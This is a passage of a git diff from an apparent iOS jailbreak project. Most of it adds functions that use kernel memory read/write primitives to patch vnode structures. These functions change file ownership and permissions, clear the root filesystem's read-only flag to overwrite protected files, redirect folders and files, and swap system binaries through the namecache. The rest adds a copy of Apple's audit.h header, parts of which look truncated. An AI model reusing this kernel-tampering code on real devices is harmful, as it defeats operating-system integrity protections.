%d, vnode->iocount: %d\n", usecount, iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //show file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return 0; +} + +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid) { + + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_uid = kread32(v_data + 0x80); + uint32_t v_gid = kread32(v_data + 0x84); + + //vnode->v_data->uid + printf("[i] Patching %s vnode->v_uid %d -> %d\n", filename, v_uid, uid); + kwrite32(v_data+0x80, uid); + //vnode->v_data->gid + printf("[i] Patching %s vnode->v_gid %d -> %d\n", filename, v_gid, gid); + kwrite32(v_data+0x84, gid); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s UID: %d\n", filename, file_stat.st_uid); + printf("[+] %s GID: %d\n", filename, file_stat.st_gid); + } + + return 0; +} + +uint64_t funVnodeChmod(char* filename, mode_t mode) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_mode = kread32(v_data + 0x88); + + printf("[i] Patching %s vnode->v_mode %o -> %o\n", filename, v_mode, mode); + kwrite32(v_data+0x88, mode); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s mode: %o\n", filename, file_stat.st_mode); + } + + return 0; +} + +uint64_t findRootVnode(void) { + uint64_t launchd_proc = getProc(1); + + uint64_t textvp_pac = kread64(launchd_proc + off_p_textvp); + uint64_t textvp = unsign_kptr(textvp_pac); + printf("[i] launchd proc->textvp: 0x%llx\n", textvp); + + uint64_t textvp_nameptr = kread64(textvp + off_vnode_v_name); + uint64_t textvp_name = kread64(textvp_nameptr); + uint64_t devvp = kread64(unsign_kptr(kread64(textvp + off_vnode_v_mount)) + off_mount_mnt_devvp); + uint64_t nameptr = kread64(devvp + off_vnode_v_name); + uint64_t name = kread64(nameptr); + char* devName = &name; + printf("[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\n", &textvp_name, devName); + + uint64_t sbin_vnode = unsign_kptr(kread64(textvp + off_vnode_v_parent)); + textvp_nameptr = kread64(sbin_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64(unsign_kptr(kread64(textvp + off_vnode_v_mount)) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + + uint64_t root_vnode = unsign_kptr(kread64(sbin_vnode + off_vnode_v_parent)); + textvp_nameptr = kread64(root_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64(unsign_kptr(kread64(root_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + printf("[+] rootvnode: 0x%llx\n", root_vnode); + + return root_vnode; +} + +uint64_t funVnodeRedirectFolder(char* to, char* from) { + uint64_t to_vnode = getVnodeAtPathByChdir(to); + if(to_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", to); + return -1; + } + + uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references); + uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount); + uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount); + uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data); + + uint64_t from_vnode = getVnodeAtPathByChdir(from); + if(from_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", from); + return -1; + } + + //If mount point is different, return -1 + uint64_t to_devvp = kread64(unsign_kptr(kread64(to_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp); + uint64_t from_devvp = kread64(unsign_kptr(kread64(from_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp); + if(to_devvp != from_devvp) { + printf("[-] mount points of folders are different!\n"); + return -1; + } + + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + + kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1); + kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1); + kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1); + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return orig_to_v_data; +} + +uint64_t funVnodeOverwriteFile(char* to, char* from) { + + int to_file_index = open(to, O_RDONLY); + if (to_file_index == -1) return -1; + off_t to_file_size = lseek(to_file_index, 0, SEEK_END); + + int from_file_index = open(from, O_RDONLY); + if (from_file_index == -1) return -1; + off_t from_file_size = lseek(from_file_index, 0, SEEK_END); + + if(to_file_size < from_file_size) { + close(from_file_index); + close(to_file_index); + printf("[-] File is too big to overwrite!"); + return -1; + } + + uint64_t proc = getProc(getpid()); + + //get vnode + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = unsign_kptr(filedesc_pac); + uint64_t openedfile = kread64(filedesc + (8 * to_file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = unsign_kptr(fileglob_pac); + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t to_vnode = unsign_kptr(vnode_pac); + printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode); + + uint64_t rootvnode_mount_pac = kread64(findRootVnode() + off_vnode_v_mount); + uint64_t rootvnode_mount = unsign_kptr(rootvnode_mount_pac); + uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag); + + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY); + kwrite32(fileglob + off_fg_flag, FREAD | FWRITE); + + uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount); + printf("[i] %s Increasing to_vnode->v_writecount: %d\n", to, to_vnode_v_writecount); + if(to_vnode_v_writecount <= 0) { + kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1); + printf("[+] %s Increased to_vnode->v_writecount: %d\n", to, kread32(to_vnode + off_vnode_v_writecount)); + } + + + char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); + if (from_mapped == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + char* to_mapped = mmap(NULL, to_file_size, PROT_READ | PROT_WRITE, MAP_SHARED, to_file_index, 0); + if (to_mapped == MAP_FAILED) { + perror("[-] Failed mmap (to_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + memcpy(to_mapped, from_mapped, from_file_size); + printf("[i] msync ret: %d\n", msync(to_mapped, to_file_size, MS_SYNC)); + + munmap(from_mapped, from_file_size); + munmap(to_mapped, to_file_size); + + kwrite32(fileglob + off_fg_flag, FREAD); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + + close(from_file_index); + close(to_file_index); + + return 0; +} + +uint64_t funVnodeIterateByPath(char* dirname) { + + uint64_t vnode = getVnodeAtPath(dirname); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", dirname); + return -1; + } + + uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name); + uint64_t vp_name = kread64(vp_nameptr); + + printf("[i] vnode->v_name: %s\n", &vp_name); + + //get child directory + + uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first); + printf("[i] vnode->v_ncchildren.tqh_first: 0x%llx\n", vp_namecache); + if(vp_namecache == 0) + return 0; + + while(1) { + if(vp_namecache == 0) + break; + vnode = kread64(vp_namecache + off_namecache_nc_vp); + if(vnode == 0) + break; + vp_nameptr = kread64(vnode + off_vnode_v_name); + + char vp_name[256]; + kreadbuf(vp_nameptr, &vp_name, 256); + + printf("[i] vnode->v_name: %s, vnode: 0x%llx\n", vp_name, vnode); + vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev); + } + + return 0; +} + +uint64_t funVnodeIterateByVnode(uint64_t vnode) { + uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name); + uint64_t vp_name = kread64(vp_nameptr); + + printf("[i] vnode->v_name: %s\n", &vp_name); + + //get child directory + uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first); + printf("[i] vnode->v_ncchildren.tqh_first: 0x%llx\n", vp_namecache); + if(vp_namecache == 0) + return 0; + + while(1) { + if(vp_namecache == 0) + break; + vnode = kread64(vp_namecache + off_namecache_nc_vp); + if(vnode == 0) + break; + vp_nameptr = kread64(vnode + off_vnode_v_name); + + char vp_name[256]; + kreadbuf(vp_nameptr, &vp_name, 256); + + printf("[i] vnode->v_name: %s, vnode: 0x%llx\n", vp_name, vnode); + vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev); + } + + return 0; +} + +uint64_t getVnodeVar(void) { + return getVnodeAtPathByChdir("/private/var"); +} + +uint64_t getVnodeVarMobile(void) { + return getVnodeAtPathByChdir("/private/var/mobile"); +} + +uint64_t getVnodePreferences(void) { + return getVnodeAtPathByChdir("/private/var/mobile/Library/Preferences"); +} + +uint64_t getVnodeLibrary(void) { + return getVnodeAtPathByChdir("/private/var/mobile/Library");; +} + +uint64_t getVnodeSystemGroup(void) { + return getVnodeAtPathByChdir("/private/var/containers/Shared/SystemGroup"); +} + +uint64_t findChildVnodeByVnode(uint64_t vnode, char* childname) { + uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name); + uint64_t vp_name = kread64(vp_nameptr); + + uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first); + + if(vp_namecache == 0) + return 0; + + while(1) { + if(vp_namecache == 0) + break; + vnode = kread64(vp_namecache + off_namecache_nc_vp); + if(vnode == 0) + break; + vp_nameptr = kread64(vnode + off_vnode_v_name); + + char vp_name[256]; + kreadbuf(vp_nameptr, &vp_name, 256); +// printf("vp_name: %s\n", vp_name); + + if(strcmp(vp_name, childname) == 0) { + return vnode; + } + vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev); + } + + return 0; +} + +uint64_t funVnodeRedirectFolderFromVnode(char* to, uint64_t from_vnode) { + uint64_t to_vnode = getVnodeAtPathByChdir(to); + if(to_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", to); + return -1; + } + + uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references); + uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount); + uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount); + uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data); + + //If mount point is different, return -1 + uint64_t to_devvp = kread64(unsign_kptr(kread64(to_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp); + uint64_t from_devvp = kread64(unsign_kptr(kread64(from_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp); + if(to_devvp != from_devvp) { + printf("[-] mount points of folders are different!\n"); + return -1; + } + + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + + kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1); + kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1); + kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1); + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return orig_to_v_data; +} + +uint64_t funVnodeUnRedirectFolder (char* to, uint64_t orig_to_v_data) { + uint64_t to_vnode = getVnodeAtPathByChdir(to); + if(to_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", to); + return -1; + } + + uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references); + uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount); + uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount); + + kwrite64(to_vnode + off_vnode_v_data, orig_to_v_data); + + if(to_usecount > 0) + kwrite32(to_vnode + off_vnode_v_usecount, to_usecount - 1); + if(to_v_kusecount > 0) + kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount - 1); + if(to_v_references > 0) + kwrite8(to_vnode + off_vnode_v_references, to_v_references - 1); + + return 0; +} + +uint64_t funVnodeOverwriteFileUnlimitSize(char* to, char* from) { + + int to_file_index = open(to, O_RDONLY); + if (to_file_index == -1) return -1; + + int from_file_index = open(from, O_RDONLY); + if (from_file_index == -1) return -1; + off_t from_file_size = lseek(from_file_index, 0, SEEK_END); + + uint64_t proc = getProc(getpid()); + + //get vnode + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = unsign_kptr(filedesc_pac); + uint64_t openedfile = kread64(filedesc + (8 * to_file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = unsign_kptr(fileglob_pac); + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t to_vnode = unsign_kptr(vnode_pac); + printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode); + + kwrite32(fileglob + off_fg_flag, FREAD | FWRITE); + + uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount); + printf("[i] %s Increasing to_vnode->v_writecount: %d\n", to, to_vnode_v_writecount); + if(to_vnode_v_writecount <= 0) { + kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1); + printf("[+] %s Increased to_vnode->v_writecount: %d\n", to, kread32(to_vnode + off_vnode_v_writecount)); + } + + + char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); + if (from_mapped == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + close(from_file_index); + close(to_file_index); + return -1; + } + + printf("[i] ftruncate ret: %d\n", ftruncate(to_file_index, 0)); + printf("[i] write ret: %zd\n", write(to_file_index, from_mapped, from_file_size)); + + munmap(from_mapped, from_file_size); + + kwrite32(fileglob + off_fg_flag, FREAD); + + close(from_file_index); + close(to_file_index); + + return 0; +} + +uint64_t getVnodeAtPathByChdir(char *path) { + if(access(path, F_OK) == -1) return -1; + if(chdir(path) == -1) return -1; + + uint64_t fd_cdir_vp = kread64(getProc(getpid()) + off_p_pfd + off_fd_cdir); + chdir("/"); + return fd_cdir_vp; +} + +uint64_t funVnodeRedirectFile(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp) +{ + uint64_t to_vnode = getVnodeAtPath(to); + if(to_vnode == -1) { + NSString *to_dir = [[NSString stringWithUTF8String:to] stringByDeletingLastPathComponent]; + NSString *to_file = [[NSString stringWithUTF8String:to] lastPathComponent]; + uint64_t to_dir_vnode = getVnodeAtPathByChdir(to_dir.UTF8String); + to_vnode = findChildVnodeByVnode(to_dir_vnode, to_file.UTF8String); + if(to_vnode == 0) { + printf("[-] Couldn't find file (to): %s", to); + return -1; + } + } + + uint64_t from_vnode = getVnodeAtPath(from); + if(from_vnode == -1) { + NSString *from_dir = [[NSString stringWithUTF8String:from] stringByDeletingLastPathComponent]; + NSString *from_file = [[NSString stringWithUTF8String:from] lastPathComponent]; + uint64_t from_dir_vnode = getVnodeAtPathByChdir(from_dir.UTF8String); + from_vnode = findChildVnodeByVnode(from_dir_vnode, from_file.UTF8String); + if(from_vnode == 0) { + printf("[-] Couldn't find file (from): %s", from); + return -1; + } + } + + uint64_t to_vnode_nc = kread64(to_vnode + off_vnode_v_nclinks_lh_first); + *orig_nc_vp = kread64(to_vnode_nc + off_namecache_nc_vp); + *orig_to_vnode = to_vnode; + kwrite64(to_vnode_nc + off_namecache_nc_vp, from_vnode); + return 0; +} + +uint64_t funVnodeUnRedirectFile(uint64_t orig_to_vnode, uint64_t orig_nc_vp) +{ + uint64_t to_vnode_nc = kread64(orig_to_vnode + off_vnode_v_nclinks_lh_first); + kwrite64(to_vnode_nc + off_namecache_nc_vp, orig_nc_vp); + return 0; +} +void vnode_increment(uint64_t vnode) { + uint32_t holdcount = kread32(vnode + v_holdcount); + kwrite32(vnode + v_holdcount, holdcount + 1); +} +// try reading through vp_ncchildren of /sbin/'s vnode to find launchd's namecache +// after that, kwrite namecache, vnode id -> thx bedtime / misfortune + +int SwitchSysBin(uint64_t vnode, char* what, char* with) +{ + uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name); + uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first); + if(vp_namecache == 0) + return 0; + + while(1) { + if(vp_namecache == 0) + break; + vnode = kread64(vp_namecache + off_namecache_nc_vp); + if(vnode == 0) + break; + vp_nameptr = kread64(vnode + off_vnode_v_name); + + char vp_name[256]; + kreadbuf(kread64(vp_namecache + 96), &vp_name, 256); +// printf("vp_name: %s\n", vp_name); + + if(strcmp(vp_name, what) == 0) + { + uint64_t with_vnd = getVnodeAtPath(with); + uint32_t with_vnd_id = kread64(with_vnd + 116); + uint64_t patient = kread64(vp_namecache + 80); // vnode the name refers + uint32_t patient_vid = kread64(vp_namecache + 64); // name vnode id + printf("patient: %llx vid:%llx -> %llx\n", patient, patient_vid, with_vnd_id); + + kwrite64(vp_namecache + 80, with_vnd); + kwrite32(vp_namecache + 64, with_vnd_id); + vnode_increment(with_vnd); + + return vnode; + } + vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev); + } + return 0; +} + +uint64_t SwitchSysBin160(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp) +{ + uint64_t to_vnode = getVnodeAtPath(to); + if(to_vnode == -1) { + NSString *to_dir = [[NSString stringWithUTF8String:to] stringByDeletingLastPathComponent]; + NSString *to_file = [[NSString stringWithUTF8String:to] lastPathComponent]; + uint64_t to_dir_vnode = getVnodeAtPathByChdir(to_dir.UTF8String); + to_vnode = findChildVnodeByVnode(to_dir_vnode, to_file.UTF8String); + if(to_vnode == 0) { + printf("[-] Couldn't find file (to): %s", to); + return -1; + } + } + + uint64_t from_vnode = getVnodeAtPath(from); + if(from_vnode == -1) { + NSString *from_dir = [[NSString stringWithUTF8String:from] stringByDeletingLastPathComponent]; + NSString *from_file = [[NSString stringWithUTF8String:from] lastPathComponent]; + uint64_t from_dir_vnode = getVnodeAtPathByChdir(from_dir.UTF8String); + from_vnode = findChildVnodeByVnode(from_dir_vnode, from_file.UTF8String); + if(from_vnode == 0) { + printf("[-] Couldn't find file (from): %s", from); + return -1; + } + } + + uint64_t to_vnode_nc = kread64(to_vnode + off_vnode_v_nclinks_lh_first); + *orig_nc_vp = kread64(to_vnode_nc + off_namecache_nc_vp); + *orig_to_vnode = to_vnode; + kwrite64(to_vnode_nc + off_namecache_nc_vp, from_vnode); + vnode_increment(to_vnode); + + return 0; +} + diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h new file mode 100644 index 00000000..24ffe86d --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h @@ -0,0 +1,382 @@ +/*- + * Copyright (c) 2005-2009 Apple Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of Apple Inc. ("Apple") nor the names of + * its contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $P4: //depot/projects/trustedbsd/openbsm/sys/bsm/audit.h#10 $ + */ + +#ifndef _BSM_AUDIT_H +#define _BSM_AUDIT_H + +#include +#include +#include + +#define AUDIT_RECORD_MAGIC 0x828a0f1b +#define MAX_AUDIT_RECORDS 20 +#define MAXAUDITDATA (0x8000 - 1) +#define MAX_AUDIT_RECORD_SIZE MAXAUDITDATA +#define MIN_AUDIT_FILE_SIZE (512 * 1024) + +/* + * Minimum noumber of free blocks on the filesystem containing the audit + * log necessary to avoid a hard log rotation. DO NOT SET THIS VALUE TO 0 + * as the kernel does an unsigned compare, plus we want to leave a few blocks + * free so userspace can terminate the log, etc. + */ +#define AUDIT_HARD_LIMIT_FREE_BLOCKS 4 + +/* + * Triggers for the audit daemon. + */ +#define AUDIT_TRIGGER_MIN 1 +#define AUDIT_TRIGGER_LOW_SPACE 1 /* Below low watermark. */ +#define AUDIT_TRIGGER_ROTATE_KERNEL 2 /* Kernel requests rotate. */ +#define AUDIT_TRIGGER_READ_FILE 3 /* Re-read config file. */ +#define AUDIT_TRIGGER_CLOSE_AND_DIE 4 /* Terminate audit. */ +#define AUDIT_TRIGGER_NO_SPACE 5 /* Below min free space. */ +#define AUDIT_TRIGGER_ROTATE_USER 6 /* User requests rotate. */ +#define AUDIT_TRIGGER_INITIALIZE 7 /* User initialize of auditd. */ +#define AUDIT_TRIGGER_EXPIRE_TRAILS 8 /* User expiration of trails. */ +#define AUDIT_TRIGGER_MAX 8 + +/* + * The special device filename (FreeBSD). + */ +#define AUDITDEV_FILENAME "audit" +#define AUDIT_TRIGGER_FILE ("/dev/" AUDITDEV_FILENAME) + +/* + * Pre-defined audit IDs + */ +#define AU_DEFAUDITID (uid_t)(-1) +#define AU_DEFAUDITSID 0 +#define AU_ASSIGN_ASID -1 + +/* + * IPC types. + */ +#define AT_IPC_MSG ((unsigned char)1) /* Message IPC id. */ +#define AT_IPC_SEM ((unsigned char)2) /* Semaphore IPC id. */ +#define AT_IPC_SHM ((unsigned char)3) /* Shared mem IPC id. */ + +/* + * Audit conditions. + */ +#define AUC_UNSET 0 +#define AUC_AUDITING 1 +#define AUC_NOAUDIT 2 +#define AUC_DISABLED -1 + +/* + * auditon(2) commands. + */ +#define A_OLDGETPOLICY 2 +#define A_OLDSETPOLICY 3 +#define A_GETKMASK 4 +#define A_SETKMASK 5 +#define A_OLDGETQCTRL 6 +#define A_OLDSETQCTRL 7 +#define A_GETCWD 8 +#define A_GETCAR 9 +#define A_GETSTAT 12 +#define A_SETSTAT 13 +#define A_SETUMASK 14 +#define A_SETSMASK 15 +#define A_OLDGETCOND 20 +#define A_OLDSETCOND 21 +#define A_GETCLASS 22 +#define A_SETCLASS 23 +#define A_GETPINFO 24 +#define A_SETPMASK 25 +#define A_SETFSIZE 26 +#define A_GETFSIZE 27 +#define A_GETPINFO_ADDR 28 +#define A_GETKAUDIT 29 +#define A_SETKAUDIT 30 +#define A_SENDTRIGGER 31 +#define A_GETSINFO_ADDR 32 +#define A_GETPOLICY 33 +#define A_SETPOLICY 34 +#define A_GETQCTRL 35 +#define A_SETQCTRL 36 +#define A_GETCOND 37 +#define A_SETCOND 38 +#define A_GETSFLAGS 39 +#define A_SETSFLAGS 40 +#define A_GETCTLMODE 41 +#define A_SETCTLMODE 42 +#define A_GETEXPAFTER 43 +#define A_SETEXPAFTER 44 + +/* + * Audit policy controls. + */ +#define AUDIT_CNT 0x0001 +#define AUDIT_AHLT 0x0002 +#define AUDIT_ARGV 0x0004 +#define AUDIT_ARGE 0x0008 +#define AUDIT_SEQ 0x0010 +#define AUDIT_WINDATA 0x0020 +#define AUDIT_USER 0x0040 +#define AUDIT_GROUP 0x0080 +#define AUDIT_TRAIL 0x0100 +#define AUDIT_PATH 0x0200 +#define AUDIT_SCNT 0x0400 +#define AUDIT_PUBLIC 0x0800 +#define AUDIT_ZONENAME 0x1000 +#define AUDIT_PERZONE 0x2000 + +/* + * Default audit queue control parameters. + */ +#define AQ_HIWATER 100 +#define AQ_MAXHIGH 10000 +#define AQ_LOWATER 10 +#define AQ_BUFSZ MAXAUDITDATA +#define AQ_MAXBUFSZ 1048576 + +/* + * Default minimum percentage free space on file system. + */ +#define AU_FS_MINFREE 20 + +/* + * Type definitions used indicating the length of variable length addresses + * in tokens containing addresses, such as header fields. + */ +#define AU_IPv4 4 +#define AU_IPv6 16 + +/* + * Reserved audit class mask indicating which classes are unable to have + * events added or removed by unentitled processes. + */ +#define AU_CLASS_MASK_RESERVED 0x10000000 + +/* + * Audit control modes + */ +#define AUDIT_CTLMODE_NORMAL ((unsigned char)1) +#define AUDIT_CTLMODE_EXTERNAL ((unsigned char)2) + +/* + * Audit file expire_after op modes + */ +#define AUDIT_EXPIRE_OP_AND ((unsigned char)0) +#define AUDIT_EXPIRE_OP_OR ((unsigned char)1) + +__BEGIN_DECLS + +typedef uid_t au_id_t; +typedef pid_t au_asid_t; +typedef u_int16_t au_event_t; +typedef u_int16_t au_emod_t; +typedef u_int32_t au_class_t; +typedef u_int64_t au_asflgs_t __attribute__ ((aligned(8))); +typedef unsigned char au_ctlmode_t; + +struct au_tid { + dev_t port; + u_int32_t machine; +}; +typedef struct au_tid au_tid_t; + +struct au_tid_addr { + dev_t at_port; + u_int32_t at_type; + u_int32_t at_addr[4]; +}; +typedef struct au_tid_addr au_tid_addr_t; + +struct au_mask { + unsigned int am_success; /* Success bits. */ + unsigned int am_failure; /* Failure bits. */ +}; +typedef struct au_mask au_mask_t; + +struct auditinfo { + au_id_t ai_auid; /* Audit user ID. */ + au_mask_t ai_mask; /* Audit masks. */ + au_tid_t ai_termid; /* Terminal ID. */ + au_asid_t ai_asid; /* Audit session ID. */ +}; +typedef struct auditinfo auditinfo_t; + +struct auditinfo_addr { + au_id_t ai_auid; /* Audit user ID. */ + au_mask_t ai_mask; /* Audit masks. */ + au_tid_addr_t ai_termid; /* Terminal ID. */ + au_asid_t ai_asid; /* Audit session ID. */ + au_asflgs_t ai_flags; /* Audit session flags. */ +}; +typedef struct auditinfo_addr auditinfo_addr_t; + +struct auditpinfo { + pid_t ap_pid; /* ID of target process. */ + au_id_t ap_auid; /* Audit user ID. */ + au_mask_t ap_mask; /* Audit masks. */ + au_tid_t ap_termid; /* Terminal ID. */ + au_asid_t ap_asid; /* Audit session ID. */ +}; +typedef struct auditpinfo auditpinfo_t; + +struct auditpinfo_addr { + pid_t ap_pid; /* ID of target process. */ + au_id_t ap_auid; /* Audit user ID. */ + au_mask_t ap_mask; /* Audit masks. */ + au_tid_addr_t ap_termid; /* Terminal ID. */ + au_asid_t ap_asid; /* Audit session ID. */ + au_asflgs_t ap_flags; /* Audit session flags. */ +}; +typedef struct auditpinfo_addr auditpinfo_addr_t; + +struct au_session { + auditinfo_addr_t *as_aia_p; /* Ptr to full audit info. */ + au_mask_t as_mask; /* Process Audit Masks. */ +}; +typedef struct au_session au_session_t; + +struct au_expire_after { + time_t age; /* Age after which trail files should be expired */ + size_t size; /* Aggregate trail size when files should be expired */ + unsigned char op_type; /* Operator used with the above values to determine when files should be expired */ +}; +typedef struct au_expire_after au_expire_after_t; + +/* + * Contents of token_t are opaque outside of libbsm. + */ +typedef struct au_token token_t; + +/* + * Kernel audit queue control parameters: + * Default: Maximum: + * aq_hiwater: AQ_HIWATER (100) AQ_MAXHIGH (10000) + * aq_lowater: AQ_LOWATER (10) + +/* + * getaudit()/setaudit() are deprecated and have been replaced with + * wrappers to the getaudit_addr()/setaudit_addr() syscalls above. + */ + +int getaudit(struct auditinfo *) +__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8, + __IPHONE_2_0, __IPHONE_6_0); +int setaudit(const struct auditinfo *) +__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8, + __IPHONE_2_0, __IPHONE_6_0); +#else + +int getaudit(struct auditinfo *); +int setaudit(const struct auditinfo *); +#endif /* !__APPLE__ */ + +__END_DECLS + +#endif /* !_BSM_AUDIT_H */ + +// #ifdef __APPLE_API_PRIVATE +#include +mach_port_name_t audit_session_self(void); +au_asid_t audit_session_join(mach_port_name_t port); +int audit_session_port(au_asid_t asid, mach_port_name_t *portname); +#endif /* __APPLE_API_PRIVATE */ + +uid_t audit_token_to_euid(audit_token_t at); +uid_t audit_token_to_pid(audit_token_t at); +// #endif /* defined(_KERNEL) || defined(KERNEL) */ + diff --git 